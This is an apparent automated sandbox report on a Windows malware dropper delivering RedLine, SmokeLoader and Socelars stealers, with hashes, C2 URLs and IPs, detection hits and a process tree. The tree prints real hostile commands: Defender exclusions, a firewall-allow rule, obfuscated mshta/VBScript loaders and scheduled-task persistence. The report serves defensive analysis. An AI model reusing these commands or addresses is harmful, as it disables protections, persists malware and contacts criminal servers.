redline | 951049989eb772c71ec4fa9f0685ab45cae755ca5d34cf3089fd791999fafa1c

Analysis

max time kernel
10s
max time network
157s
platform
windows10_x64
resource
win10-en-20211104
submitted
10/11/2021, 02:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
Size 7.3MB
Sample211110-db6lnadcfr
SHA256 951049989eb772c71ec4fa9f0685ab45cae755ca5d34cf3089fd791999fafa1c
MD5 7ebb0431ce9219a584997a26142c4398
SHA1 82c340ac9d9b6d2ae685975de48d362b7185c4a8
SHA512 a7fd820db15cb3d7fa390aa50e8dffd0fd451f20ba9909cf94553d3aad6d4efa1db96af812f7a05e2d717e4cbdf0ef600ae8b9069dbf855573587c686e119d4c
MD5 SHA1 SHA512

Score

10^/10

redline smokeloader socelars ani jamesoldd aspackv2 backdoor evasion infostealer stealer suricata themida trojan

Malware Config

Extracted

Family

socelars

http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.znsjis.top/

Extracted

Family

redline

Botnet

45.142.215.47:27643

Extracted

Family

redline

Botnet

jamesoldd

65.108.20.195:6774

Extracted

Family

smokeloader

Version

2020

http://gmpeople.com/upload/
http://mile48.com/upload/
http://lecanardstsornin.com/upload/
http://m3600.com/upload/
http://camasirx.com/upload/

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4676	672	rundll32.exe	113

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral2/memory/2172-249-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/2172-250-0x000000000041C5CA-mapping.dmp	family_redline
behavioral2/memory/508-273-0x00000000022B0000-0x00000000022CF000-memory.dmp	family_redline
behavioral2/memory/508-275-0x0000000004F10000-0x0000000004F2E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000400000001abc5-159.dat	family_socelars
behavioral2/files/0x000400000001abc5-201.dat	family_socelars

suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000500000001abad-125.dat	aspack_v212_v242
behavioral2/files/0x000500000001abad-128.dat	aspack_v212_v242
behavioral2/files/0x000500000001abab-126.dat	aspack_v212_v242
behavioral2/files/0x000500000001abab-133.dat	aspack_v212_v242
behavioral2/files/0x000500000001abab-132.dat	aspack_v212_v242
behavioral2/files/0x000500000001abb4-131.dat	aspack_v212_v242
behavioral2/files/0x000500000001abb4-134.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 15 IoCs

pid	Process
2116	setup_installer.exe
2908	setup_install.exe
1768	Mon1171bdf4053512.exe
372	Mon11cfa41b22c520d.exe
1260	Mon11b2a87bc5ae6.exe
3852	Mon1182b0194f4f89e7.exe
1060	Mon118ed94392.exe
2292	Mon11e73d87d47b7.exe
1140	Mon1157e89d13eed5c.exe
1460	Mon11fbe0c8a7f0b4a47.exe
1372	Mon11b50c6fefd69011.exe
4000	Mon112667aa79a82a20.exe
772	Mon11c6a1657c3.exe
508	Mon118af444344b7.exe
1480	MChY4exB_cUXRu9SCumV9_nW.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 6 IoCs

pid	Process
2908	setup_install.exe
2908	setup_install.exe
2908	setup_install.exe
2908	setup_install.exe
2908	setup_install.exe
2908	setup_install.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000400000001abc3-195.dat	themida
behavioral2/files/0x000400000001abc3-161.dat	themida
behavioral2/memory/2292-239-0x0000000000BA0000-0x0000000000BA1000-memory.dmp	themida
behavioral2/files/0x000400000001ac0d-473.dat	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
53	ipinfo.io
224	ipinfo.io
227	ipinfo.io
531	ipinfo.io
532	ipinfo.io
39	ip-api.com
52	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 17 IoCs

pid	pid_target	Process	procid_target
2836	2908	WerFault.exe	69
4160	1260	WerFault.exe	80
4264	1260	WerFault.exe	80
4420	1260	WerFault.exe	80
4548	1260	WerFault.exe	80
4732	1260	WerFault.exe	80
4912	1260	WerFault.exe	80
4736	1260	WerFault.exe	80
4756	1260	WerFault.exe	80
4488	1260	WerFault.exe	80
4616	1816	WerFault.exe	149
5508	1816	WerFault.exe	149
5776	1816	WerFault.exe	149
5204	1816	WerFault.exe	149
4660	1816	WerFault.exe	149
6720	1584	WerFault.exe	135
5608	4932	WerFault.exe	140

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1028	schtasks.exe
5560	schtasks.exe
5532	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
6652	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
1744	taskkill.exe
1552	taskkill.exe
3228	taskkill.exe
3332	taskkill.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1060	Mon118ed94392.exe
Token: SeCreateTokenPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeAssignPrimaryTokenPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeLockMemoryPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeIncreaseQuotaPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeMachineAccountPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeTcbPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeSecurityPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeTakeOwnershipPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeLoadDriverPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeSystemProfilePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeSystemtimePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeProfSingleProcessPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeIncBasePriorityPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeCreatePagefilePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeCreatePermanentPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeBackupPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeRestorePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeShutdownPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeDebugPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeAuditPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeSystemEnvironmentPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeChangeNotifyPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeRemoteShutdownPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeUndockPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeSyncAgentPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeEnableDelegationPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeManageVolumePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeImpersonatePrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeCreateGlobalPrivilege	1460	Mon11fbe0c8a7f0b4a47.exe
Token: 31	1460	Mon11fbe0c8a7f0b4a47.exe
Token: 32	1460	Mon11fbe0c8a7f0b4a47.exe
Token: 33	1460	Mon11fbe0c8a7f0b4a47.exe
Token: 34	1460	Mon11fbe0c8a7f0b4a47.exe
Token: 35	1460	Mon11fbe0c8a7f0b4a47.exe
Token: SeDebugPrivilege	372	Mon11cfa41b22c520d.exe
Token: SeRestorePrivilege	2836	WerFault.exe
Token: SeBackupPrivilege	2836	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 68 wrote to memory of 2116	68	951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe	68
PID 68 wrote to memory of 2116	68	951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe	68
PID 68 wrote to memory of 2116	68	951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe	68
PID 2116 wrote to memory of 2908	2116	setup_installer.exe	69
PID 2116 wrote to memory of 2908	2116	setup_installer.exe	69
PID 2116 wrote to memory of 2908	2116	setup_installer.exe	69
PID 2908 wrote to memory of 3736	2908	setup_install.exe	72
PID 2908 wrote to memory of 3736	2908	setup_install.exe	72
PID 2908 wrote to memory of 3736	2908	setup_install.exe	72
PID 2908 wrote to memory of 752	2908	setup_install.exe	102
PID 2908 wrote to memory of 752	2908	setup_install.exe	102
PID 2908 wrote to memory of 752	2908	setup_install.exe	102
PID 2908 wrote to memory of 776	2908	setup_install.exe	101
PID 2908 wrote to memory of 776	2908	setup_install.exe	101
PID 2908 wrote to memory of 776	2908	setup_install.exe	101
PID 2908 wrote to memory of 1608	2908	setup_install.exe	73
PID 2908 wrote to memory of 1608	2908	setup_install.exe	73
PID 2908 wrote to memory of 1608	2908	setup_install.exe	73
PID 2908 wrote to memory of 3704	2908	setup_install.exe	74
PID 2908 wrote to memory of 3704	2908	setup_install.exe	74
PID 2908 wrote to memory of 3704	2908	setup_install.exe	74
PID 2908 wrote to memory of 3892	2908	setup_install.exe	75
PID 2908 wrote to memory of 3892	2908	setup_install.exe	75
PID 2908 wrote to memory of 3892	2908	setup_install.exe	75
PID 2908 wrote to memory of 3748	2908	setup_install.exe	77
PID 2908 wrote to memory of 3748	2908	setup_install.exe	77
PID 2908 wrote to memory of 3748	2908	setup_install.exe	77
PID 2908 wrote to memory of 3148	2908	setup_install.exe	76
PID 2908 wrote to memory of 3148	2908	setup_install.exe	76
PID 2908 wrote to memory of 3148	2908	setup_install.exe	76
PID 2908 wrote to memory of 1680	2908	setup_install.exe	78
PID 2908 wrote to memory of 1680	2908	setup_install.exe	78
PID 2908 wrote to memory of 1680	2908	setup_install.exe	78
PID 752 wrote to memory of 1768	752	cmd.exe	100
PID 752 wrote to memory of 1768	752	cmd.exe	100
PID 752 wrote to memory of 1768	752	cmd.exe	100
PID 3736 wrote to memory of 1780	3736	cmd.exe	99
PID 3736 wrote to memory of 1780	3736	cmd.exe	99
PID 3736 wrote to memory of 1780	3736	cmd.exe	99
PID 2908 wrote to memory of 1068	2908	setup_install.exe	79
PID 2908 wrote to memory of 1068	2908	setup_install.exe	79
PID 2908 wrote to memory of 1068	2908	setup_install.exe	79
PID 2908 wrote to memory of 1080	2908	setup_install.exe	98
PID 2908 wrote to memory of 1080	2908	setup_install.exe	98
PID 2908 wrote to memory of 1080	2908	setup_install.exe	98
PID 3704 wrote to memory of 372	3704	cmd.exe	97
PID 3704 wrote to memory of 372	3704	cmd.exe	97
PID 776 wrote to memory of 1260	776	cmd.exe	80
PID 776 wrote to memory of 1260	776	cmd.exe	80
PID 776 wrote to memory of 1260	776	cmd.exe	80
PID 2908 wrote to memory of 1752	2908	setup_install.exe	96
PID 2908 wrote to memory of 1752	2908	setup_install.exe	96
PID 2908 wrote to memory of 1752	2908	setup_install.exe	96
PID 1608 wrote to memory of 3852	1608	cmd.exe	81
PID 1608 wrote to memory of 3852	1608	cmd.exe	81
PID 1608 wrote to memory of 3852	1608	cmd.exe	81
PID 2908 wrote to memory of 3292	2908	setup_install.exe	95
PID 2908 wrote to memory of 3292	2908	setup_install.exe	95
PID 2908 wrote to memory of 3292	2908	setup_install.exe	95
PID 2908 wrote to memory of 352	2908	setup_install.exe	94
PID 2908 wrote to memory of 352	2908	setup_install.exe	94
PID 2908 wrote to memory of 352	2908	setup_install.exe	94
PID 3892 wrote to memory of 1060	3892	cmd.exe	93
PID 3892 wrote to memory of 1060	3892	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
"C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:68
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS44884D85\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3736
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1182b0194f4f89e7.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1608
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1182b0194f4f89e7.exe
        
        Mon1182b0194f4f89e7.exe
        5⤵
        Executes dropped EXE
        
        PID:3852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11cfa41b22c520d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3704
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11cfa41b22c520d.exe
        
        Mon11cfa41b22c520d.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon118ed94392.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3892
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon118ed94392.exe
        
        Mon118ed94392.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1060
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11e73d87d47b7.exe
      4⤵
      PID:3148
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11e73d87d47b7.exe
        
        Mon11e73d87d47b7.exe
        5⤵
        Executes dropped EXE
        
        PID:2292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11fbe0c8a7f0b4a47.exe
      4⤵
      PID:3748
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11fbe0c8a7f0b4a47.exe
        
        Mon11fbe0c8a7f0b4a47.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1460
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:4636
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon112667aa79a82a20.exe
      4⤵
      PID:1680
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon112667aa79a82a20.exe
        
        Mon112667aa79a82a20.exe
        5⤵
        Executes dropped EXE
        
        PID:4000
      - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon112667aa79a82a20.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon112667aa79a82a20.exe
        6⤵
        
        PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1157e89d13eed5c.exe
      4⤵
      PID:1068
    - - C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1157e89d13eed5c.exe
        
        Mon1157e89d13eed5c.exe
        5⤵
        Executes dropped EXE
        
        PID:1140
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1157e89d13eed5c.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1157e89d13eed5c.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:3424
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1157e89d13eed5c.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1157e89d13eed5c.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        
        PID:2700
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:1340
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:1672
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:2540
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:4104
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:4324
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:4356
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:4620
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        
        PID:4800
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:5740
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        
        PID:5924
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon1157e89d13eed5c.exe"
        8⤵
        Kills process with taskkill
        
        PID:1744
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2908 -s 468
      4⤵
      Program crash
      Suspicious use of AdjustPrivilegeToken
      PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11b50c6fefd69011.exe
      4⤵
      PID:352
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11f8437179.exe
      4⤵
      PID:3292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11c6a1657c3.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon118af444344b7.exe
      4⤵
      PID:1080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon11b2a87bc5ae6.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1171bdf4053512.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:752

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11b2a87bc5ae6.exe
Mon11b2a87bc5ae6.exe /mixone
1⤵
- Executes dropped EXE
PID:1260
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 656
  2⤵
  - Program crash
  PID:4160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 668
  2⤵
  - Program crash
  PID:4264
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 772
  2⤵
  - Program crash
  PID:4420
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 808
  2⤵
  - Program crash
  PID:4548
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 832
  2⤵
  - Program crash
  PID:4732
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 1020
  2⤵
  - Program crash
  PID:4912
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 1120
  2⤵
  - Program crash
  PID:4736
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 1228
  2⤵
  - Program crash
  PID:4756
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 1252
  2⤵
  - Program crash
  PID:4488

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11b50c6fefd69011.exe
Mon11b50c6fefd69011.exe
1⤵
- Executes dropped EXE
PID:1372
- C:\Users\Admin\AppData\Local\Temp\is-J6532.tmp\Mon11b50c6fefd69011.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-J6532.tmp\Mon11b50c6fefd69011.tmp" /SL5="$301C4,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11b50c6fefd69011.exe"
  2⤵
  PID:3488

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11f8437179.exe
Mon11f8437179.exe
1⤵
PID:1480

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon11c6a1657c3.exe
Mon11c6a1657c3.exe
1⤵
- Executes dropped EXE
PID:772

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon118af444344b7.exe
Mon118af444344b7.exe
1⤵
- Executes dropped EXE
PID:508

C:\Users\Admin\AppData\Local\Temp\7zS44884D85\Mon1171bdf4053512.exe
Mon1171bdf4053512.exe
1⤵
- Executes dropped EXE
PID:1768
- C:\Users\Admin\Pictures\Adobe Films\4fmdGAXte6F729jFWT2zJQud.exe
  "C:\Users\Admin\Pictures\Adobe Films\4fmdGAXte6F729jFWT2zJQud.exe"
  2⤵
  PID:4224
- C:\Users\Admin\Pictures\Adobe Films\MChY4exB_cUXRu9SCumV9_nW.exe
  "C:\Users\Admin\Pictures\Adobe Films\MChY4exB_cUXRu9SCumV9_nW.exe"
  2⤵
  - Executes dropped EXE
  PID:1480
- C:\Users\Admin\Pictures\Adobe Films\cjOlpfwhQKa46YZeETr4xKf_.exe
  "C:\Users\Admin\Pictures\Adobe Films\cjOlpfwhQKa46YZeETr4xKf_.exe"
  2⤵
  PID:1584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 896
    3⤵
    - Program crash
    PID:6720
- C:\Users\Admin\Pictures\Adobe Films\VttUS2GU1x0SlvHdcU2wmpyW.exe
  "C:\Users\Admin\Pictures\Adobe Films\VttUS2GU1x0SlvHdcU2wmpyW.exe"
  2⤵
  PID:3332
- - C:\Users\Admin\Documents\oUfy9N8pZGCgTq4cNmVc98W8.exe
    "C:\Users\Admin\Documents\oUfy9N8pZGCgTq4cNmVc98W8.exe"
    3⤵
    PID:4316
  - - C:\Users\Admin\Pictures\Adobe Films\elvO44JOnPDuGAN8zFdAoPWk.exe
      "C:\Users\Admin\Pictures\Adobe Films\elvO44JOnPDuGAN8zFdAoPWk.exe"
      4⤵
      PID:1840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5532
- C:\Users\Admin\Pictures\Adobe Films\zYbS6TT7KBrserzLF6NkvMx_.exe
  "C:\Users\Admin\Pictures\Adobe Films\zYbS6TT7KBrserzLF6NkvMx_.exe"
  2⤵
  PID:5068
- C:\Users\Admin\Pictures\Adobe Films\Wlbnzb2M96CO0jYnaR0V5TaE.exe
  "C:\Users\Admin\Pictures\Adobe Films\Wlbnzb2M96CO0jYnaR0V5TaE.exe"
  2⤵
  PID:5008
- C:\Users\Admin\Pictures\Adobe Films\0EmmI8_hKP_7iWrvaeww3otq.exe
  "C:\Users\Admin\Pictures\Adobe Films\0EmmI8_hKP_7iWrvaeww3otq.exe"
  2⤵
  PID:4896
- C:\Users\Admin\Pictures\Adobe Films\DWibJ5FckmiD1q3GXP16gdJO.exe
  "C:\Users\Admin\Pictures\Adobe Films\DWibJ5FckmiD1q3GXP16gdJO.exe"
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 1592
    3⤵
    - Program crash
    PID:5608
- C:\Users\Admin\Pictures\Adobe Films\4syEcomm5dQmlTZYB3NqO64_.exe
  "C:\Users\Admin\Pictures\Adobe Films\4syEcomm5dQmlTZYB3NqO64_.exe"
  2⤵
  PID:3548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
    3⤵
    PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
    3⤵
    PID:4720
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:4472
- - C:\Windows\System\svchost.exe
    "C:\Windows\System\svchost.exe" formal
    3⤵
    PID:3692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
